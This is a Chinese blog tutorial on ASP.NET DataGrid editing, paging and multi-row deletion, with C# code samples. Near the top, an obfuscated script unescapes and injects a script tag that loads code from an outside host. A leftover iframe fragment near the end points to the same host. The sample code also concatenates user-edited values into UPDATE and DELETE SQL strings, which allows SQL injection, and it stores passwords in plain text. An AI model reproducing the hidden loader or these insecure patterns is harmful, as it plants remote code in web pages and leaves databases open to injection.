datagrid的简单技巧

 

HTML Tags and JavaScript tutorial


<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
datagrid的简单技巧




自定义编辑状态的文本框长度:
 private void dgShow_ItemDataBound(object sender, System.Web.UI.WebControls.DataGridItemEventArgs e)
  {
   if (e.Item.ItemType == ListItemType.EditItem)
   {
    for (int i=0;i<e.Item.Cells.Count;i++)
    {
     if(e.Item.Cells[i].Controls.Count>0)
     {
      try
      {
       TextBox t =(TextBox)e.Item.Cells[i].Controls[0];
       t.Width=130;
      }
      catch(Exception ee)
      {
      }
     }
    }
   }
  }
 
删除多行的操作:
using System;
using System.Collections;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Web;
using System.Web.SessionState;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Web.UI.HtmlControls;
using System.Data.SqlClient;
namespace MsDataGrid
{
 /// <summary>
 /// WebForm1 的摘要说明。
 /// </summary>
 public class SelAndDropAll : System.Web.UI.Page
 {
  protected System.Web.UI.WebControls.Button btnDelete;
  protected System.Web.UI.WebControls.DataGrid dgShow;
 
  private void Page_Load(object sender, System.EventArgs e)
  {
   // 在此处放置用户代码以初始化页面
   btnDelete.Attributes.Add("onclick", "return confirm('您真的要删除所选项吗?');");
   if(!IsPostBack)
    BindData();
   
  }
  private void BindData()
  {
   string strCon = System.Configuration.ConfigurationSettings.AppSettings["DSN"];
   SqlConnection con = new SqlConnection(strCon);
   SqlDataAdapter da = new SqlDataAdapter("Select * from tbStudentinfo",con);
   DataSet ds = new DataSet();
   da.Fill(ds,"studentinfo");
   dgShow.DataSource = ds.Tables["studentinfo"].DefaultView;
   dgShow.DataBind();
  }
  #region Web Form Designer generated code
  override protected void OnInit(EventArgs e)
  {
   //
   // CODEGEN:该调用是 ASP.NET Web 窗体设计器所必需的。
   //
   InitializeComponent();
   base.OnInit(e);
  }
  
  /// <summary>
  /// 设计器支持所需的方法 - 不要使用代码编辑器修改
  /// 此方法的内容。
  /// </summary>
  private void InitializeComponent()
  {   
   this.dgShow.PageIndexChanged += new System.Web.UI.WebControls.DataGridPageChangedEventHandler(this.dgShow_PageIndexChanged);
   this.dgShow.CancelCommand += new System.Web.UI.WebControls.DataGridCommandEventHandler(this.dgShow_CancelCommand);
   this.dgShow.EditCommand += new System.Web.UI.WebControls.DataGridCommandEventHandler(this.dgShow_EditCommand);
   this.dgShow.UpdateCommand += new System.Web.UI.WebControls.DataGridCommandEventHandler(this.dgShow_UpdateCommand);
   this.dgShow.DeleteCommand += new System.Web.UI.WebControls.DataGridCommandEventHandler(this.dgShow_DeleteCommand);
   this.btnDelete.Click += new System.EventHandler(this.btnDelete_Click);
   this.Load += new System.EventHandler(this.Page_Load);
  }
  #endregion
  private void dgShow_EditCommand(object source, System.Web.UI.WebControls.DataGridCommandEventArgs e)
  {
   dgShow.EditItemIndex = e.Item.ItemIndex;
   BindData();
  }
 
  private void dgShow_CancelCommand(object source, System.Web.UI.WebControls.DataGridCommandEventArgs e)
  {
   dgShow.EditItemIndex = -1;
   BindData();
  }
  private void dgShow_PageIndexChanged(object source, System.Web.UI.WebControls.DataGridPageChangedEventArgs e)
  {
   dgShow.CurrentPageIndex = e.NewPageIndex;
   BindData();
  }
  private void dgShow_DeleteCommand(object source, System.Web.UI.WebControls.DataGridCommandEventArgs e)
  {
   if(dgShow.Items.Count==1)
   {
    if(dgShow.CurrentPageIndex!=0)
     dgShow.CurrentPageIndex = dgShow.CurrentPageIndex-1;
   }
   string strSql = "delete from tbStudentinfo where studentid="+e.Item.Cells[0].Text+"";
   ExecuteSql(strSql);
   BindData();
  }
  
  //说明:执行制定SQL语句/
  ///
  private void ExecuteSql(string strSql)
  {
   try
   {
    string strconn = System.Configuration.ConfigurationSettings.AppSettings["DSN"];//从Web.config中读取
    SqlConnection conn =new SqlConnection(strconn);
    SqlCommand com = new SqlCommand(strSql,conn);
    conn.Open();
    com.ExecuteNonQuery();
    conn.Close();
   }
   catch(Exception e)
   {
    Response.Write("<script language = 'javascript'>alert('"+e.Message+"');</script>") ;
       
   }
  }
  
  private void dgShow_UpdateCommand(object source, System.Web.UI.WebControls.DataGridCommandEventArgs e)
  {
   string strStudentID = e.Item.Cells[0].Text;//处于非编辑状态
   string strName = ((TextBox)(e.Item.Cells[1].Controls[0])).Text;//处于编辑状态
   string strPass =((TextBox)(e.Item.Cells[2].Controls[0])).Text;
   string strSex = ((CheckBox)(e.Item.Cells[3].FindControl("cbSex"))).Checked?"1":"0";
   string strBirthday =((TextBox)(e.Item.Cells[4].Controls[0])).Text;
   string strEmail =((TextBox)(e.Item.Cells[5].Controls[0])).Text;
   string strSql = "update tbStudentinfo set StudentName='"+strName+"',StudentPass='"+strPass+"'";
   strSql +=",Sex="+strSex+",Birthday='"+strBirthday+"',Email='"+strEmail+"' where studentid="+strStudentID+"";
   ExecuteSql(strSql);
   dgShow.EditItemIndex = -1;
   BindData();
  }
  public void CheckAll(object sender, System.EventArgs e)
  {
   CheckBox cbAll = (CheckBox)sender;
   if(cbAll.Text=="全选")
   {
    foreach(DataGridItem dgi in dgShow.Items)
    {
     CheckBox cb = (CheckBox)dgi.FindControl("cbSelect");
     cb.Checked = cbAll.Checked;
    }
   }
  }
  private void btnDelete_Click(object sender, System.EventArgs e)
  {
   foreach(DataGridItem dgi in dgShow.Items)
   {
    CheckBox cb = (CheckBox)dgi.FindControl("cbSelect");
    if(cb.Checked)
    {
     //以下执行删除操作
     int nID = int.Parse(dgi.Cells[0].Text);
     string strSql = "delete from tbStudentinfo where studentid="+nID;
     ExecuteSql(strSql);
    }
   }
   dgShow.CurrentPageIndex = 0;
   BindData();
  }
 }
}
删除确认:
 private void dgShow_ItemCreated(object sender, System.Web.UI.WebControls.DataGridItemEventArgs e)
  {
   switch(e.Item.ItemType)
   {
    case ListItemType.Item:
    case ListItemType.EditItem:
    case ListItemType.AlternatingItem:
     Button    myDeleteButton = (Button)e.Item.FindControl("btnDelete");
     myDeleteButton.Text = "删除此行";
     myDeleteButton.Attributes.Add("onclick", "return confirm('您真的要删除第 " + e.Item.ItemIndex.ToString() + " 行吗?');");
     break;
   }
  } 

src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值